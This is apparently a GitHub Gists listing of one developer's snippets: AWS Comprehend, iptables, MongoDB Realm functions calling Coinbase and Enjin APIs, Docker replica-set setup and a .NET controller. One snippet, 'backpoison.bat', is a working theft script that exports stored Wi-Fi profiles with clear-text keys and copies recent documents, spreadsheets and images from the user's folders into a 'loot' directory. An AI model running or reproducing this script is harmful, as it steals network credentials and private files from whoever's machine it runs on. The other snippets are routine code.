Skip to content

Instantly share code, notes, and snippets.

var AWS = require('aws-sdk')
function Zentiment(config){
this.results = {};
this.region = config.region?config.region:'';
this.accessKeyId = config.accessKeyId?config.accessKeyId:'';
this.secretAccessKey = config.secretAccessKey?config.secretAccessKey:'';
this.text = '';
this.textParts = [];
this.comprehend = null;
}
@ranfysvalle02
ranfysvalle02 / lockdown.sh
Last active September 28, 2020 01:41
IPTABLES / UBUNTU / FULL-LOCK + APT-GET
#!/bin/sh
# Flushing all rules
iptables -F
iptables -X
# Setting default filter policy
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
# Allow unlimited traffic on loopback
iptables -A INPUT -i lo -j ACCEPT
@ranfysvalle02
ranfysvalle02 / gist:78a3eb0b8f7385ab3a493926573bad6d
Created March 19, 2022 02:20
Realm App Services - Function to Authenticate with the Enjin Platform
exports = async function (payloadObj) {
const axios = require('axios').default;
axios.defaults.headers.common = {
"Content-Type": "application/json",
};
let x = await axios({
url: 'https://cloud.enjin.io/graphql/default',
method: 'post',
data: {
query: `
@ranfysvalle02
ranfysvalle02 / gist:a6f2bf0bc54960b55acbcae2cf7dc281
Created April 14, 2022 18:25
Algotrading+Realm App Services
exports = async function(arg){
const crypto = require('crypto');
const axios = require('axios').default;
const createCBRequest = (method, path) => {
// current unix timestamp in seconds (note Date.now() returns milliseconds)
var cb_access_timestamp = Date.now() / 1000;
// obtained API key, secret, and passphrase from https://pro.coinbase.com/profile/api
var cb_access_passphrase = context.values.get('API_PASSPHRASE');
var cb_api_key = context.values.get('API_KEY');
var cb_api_secret = context.values.get('API_SECRET');
@ranfysvalle02
ranfysvalle02 / backpoison.bat
Created April 17, 2022 23:34
Batch File for backup + dns poison
@echo off
cd /d %~dp0
mkdir \loot\WiFiCreds\%COMPUTERNAME%
cd \loot\WiFiCreds\%COMPUTERNAME%
netsh wlan export profile key=clear
timeout 1
mkdir \loot\DriveLast30\%COMPUTERNAME%
cd \loot\DriveLast30\%COMPUTERNAME%
robocopy %userprofile%\Documents\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfl
robocopy %userprofile%\Desktop\ . *.doc* *.xls* *.msg *.txt *.jpg *.jpeg *.png *.gif *.pdf *.one /S /J /MT /MAXAGE:30 /MAX:4000000 /R:0 /np /nfll
@ranfysvalle02
ranfysvalle02 / gist:70b0fc39ab8693c19197e8fe74449a42
Last active February 21, 2023 14:34
ATLAS API -> DYNATRACE (OR ANY OTHER API)
exports = async function(arg){
const AxiosDigestAuth = require('@mhoc/axios-digest-auth').default;
const axios = require('axios').default;
const digestAuth = new AxiosDigestAuth({
axios:axios,
username: "__USERNAME_GOES_HERE__",
password: "__PASSWORD_GOES_HERE__",
});
const response = await digestAuth.request({
@ranfysvalle02
ranfysvalle02 / gist:da9e7ca970211c2e6a3db9f25c9bb7b5
Last active August 2, 2022 14:14
MongoDB Replicaset with Docker w/ Compass Connectivity
---First, make sure Docker networking is set up---
docker network create my-mongo-cluster
docker network ls
---Now, run the containers ---
docker run -d -p 3001:3001 --name mongo1 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3001
docker run -d -p 3002:3002 --name mongo2 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3002
docker run -d -p 3003:3003 --name mongo3 --net my-mongo-cluster mongo mongod --replSet my-mongo-rs --port 3003
---Then, login to mongo1 ---
@ranfysvalle02
ranfysvalle02 / atlas.logs.ipwhois
Last active November 24, 2022 01:16
Atlas Logs + IPWHOIS
const ADMIN_API_BASE_URL = "https://realm.mongodb.com/api/admin/v3.0";
exports = async function() {
const axios = require('axios');
let getBearerToken = async function(){
var data = JSON.stringify({
"username": "__USERNAME_GOES_HERE__",
"apiKey": "__APIKEY_GOES_HERE__"
});
@ranfysvalle02
ranfysvalle02 / atlas.appservices.bearfunc
Created December 11, 2022 21:16
Implement "Bearer token style auth" workaround
Implement "Bearer token style auth" workaround
-----------------------------------------------------
situation where my login code is as follows:
curl --location --request POST 'https://realm.mongodb.com/api/client/v2.0/app/aeonxp-dev-zeqxr/auth/providers/custom-function/login' \
--header 'Content-Type: application/json' \
--data-raw '{
"username":"[email protected]",
@ranfysvalle02
ranfysvalle02 / TxController.cs
Last active February 1, 2023 17:26
DOTNETDEMO-TXController-API
using Microsoft.AspNetCore.Mvc;
using MongoDB.Driver;
using MongoDB.Bson;
using MongoDB.Bson.Serialization.Attributes;
using System.Net;
using System;
namespace dotnetdemo.Controllers;